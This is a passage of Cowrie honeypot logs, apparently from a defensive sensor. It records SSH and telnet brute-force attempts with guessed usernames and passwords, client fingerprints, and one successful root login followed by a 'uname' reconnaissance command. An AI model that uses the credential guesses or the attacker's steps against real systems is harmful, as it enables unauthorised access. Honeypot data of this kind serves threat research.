16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:40.453371Z","src_ip":"2.57.122.208","session":"d8375b23308e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:40.875443Z","src_ip":"2.57.122.208","session":"d8375b23308e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:42.009856Z","src_ip":"2.57.122.208","session":"d8375b23308e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.73.4.91","src_port":55366,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3621777d494","protocol":"telnet","message":"New connection: 128.73.4.91:55366 (10.17.0.5:23) [session: c3621777d494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:57.201585Z"}
{"eventid":"cowrie.session.closed","duration":13.564549684524536,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:03:10.766015Z","src_ip":"128.73.4.91","session":"c3621777d494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56998,"dst_ip":"10.17.0.5","dst_port":22,"session":"4908978901a7","protocol":"ssh","message":"New connection: 92.118.39.92:56998 (10.17.0.5:22) [session: 4908978901a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:23.903882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:23.908781Z","src_ip":"92.118.39.92","session":"4908978901a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:24.014438Z","src_ip":"92.118.39.92","session":"4908978901a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:24.321546Z","src_ip":"92.118.39.92","session":"4908978901a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:25.426426Z","src_ip":"92.118.39.92","session":"4908978901a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47260,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd98e32db98a","protocol":"ssh","message":"New connection: 2.57.122.208:47260 (10.17.0.5:22) [session: fd98e32db98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:54.768879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:54.816708Z","src_ip":"2.57.122.208","session":"fd98e32db98a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:54.956227Z","src_ip":"2.57.122.208","session":"fd98e32db98a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:55.578023Z","src_ip":"2.57.122.208","session":"fd98e32db98a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:04:56.742904Z","src_ip":"2.57.122.208","session":"fd98e32db98a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45150,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f422409ff16","protocol":"ssh","message":"New connection: 195.178.110.218:45150 (159.203.135.109:22) [session: 9f422409ff16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:01.334058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:01.338768Z","src_ip":"195.178.110.218","session":"9f422409ff16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:01.419235Z","src_ip":"195.178.110.218","session":"9f422409ff16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:01.672457Z","src_ip":"195.178.110.218","session":"9f422409ff16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:02.755634Z","src_ip":"195.178.110.218","session":"9f422409ff16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":30542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9806b5fb4b","protocol":"ssh","message":"New connection: 2.57.121.25:30542 (10.17.0.5:22) [session: ae9806b5fb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:23.959457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:23.963958Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:24.069177Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rebekah","message":"login attempt [user/rebekah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:24.566276Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rb26dett","message":"login attempt [user/rb26dett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:25.674567Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rawhide","message":"login attempt [user/rawhide] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:26.783443Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty99","message":"login attempt [user/qwerty99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:27.891362Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"quinn","message":"login attempt [user/quinn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:28.999958Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:05:30.109424Z","src_ip":"2.57.121.25","session":"ae9806b5fb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":45420,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc2f424c22a6","protocol":"ssh","message":"New connection: 92.118.39.92:45420 (10.17.0.5:22) [session: cc2f424c22a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:36.771429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:36.776063Z","src_ip":"92.118.39.92","session":"cc2f424c22a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:36.891092Z","src_ip":"92.118.39.92","session":"cc2f424c22a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"parola123","message":"login attempt [root/parola123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:37.194679Z","src_ip":"92.118.39.92","session":"cc2f424c22a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:37.474322Z","src_ip":"92.118.39.92","session":"cc2f424c22a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:37.477551Z","src_ip":"92.118.39.92","session":"cc2f424c22a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:37.582650Z","src_ip":"92.118.39.92","session":"cc2f424c22a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:06:37.587917Z","src_ip":"92.118.39.92","session":"cc2f424c22a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52122,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ec876216373","protocol":"ssh","message":"New connection: 2.57.122.208:52122 (10.17.0.5:22) [session: 2ec876216373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:08.415126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:08.611503Z","src_ip":"2.57.122.208","session":"2ec876216373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:08.615585Z","src_ip":"2.57.122.208","session":"2ec876216373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:09.313042Z","src_ip":"2.57.122.208","session":"2ec876216373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:10.428891Z","src_ip":"2.57.122.208","session":"2ec876216373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46360,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f2cf99b6e7","protocol":"ssh","message":"New connection: 195.178.110.218:46360 (159.203.135.109:22) [session: 45f2cf99b6e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:33.202504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:33.206866Z","src_ip":"195.178.110.218","session":"45f2cf99b6e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:33.290251Z","src_ip":"195.178.110.218","session":"45f2cf99b6e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:33.515445Z","src_ip":"195.178.110.218","session":"45f2cf99b6e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:07:34.593374Z","src_ip":"195.178.110.218","session":"45f2cf99b6e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.71.54.129","src_port":45310,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc3dd32966a9","protocol":"ssh","message":"New connection: 67.71.54.129:45310 (10.17.0.5:22) [session: bc3dd32966a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:09.662340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:09.666765Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
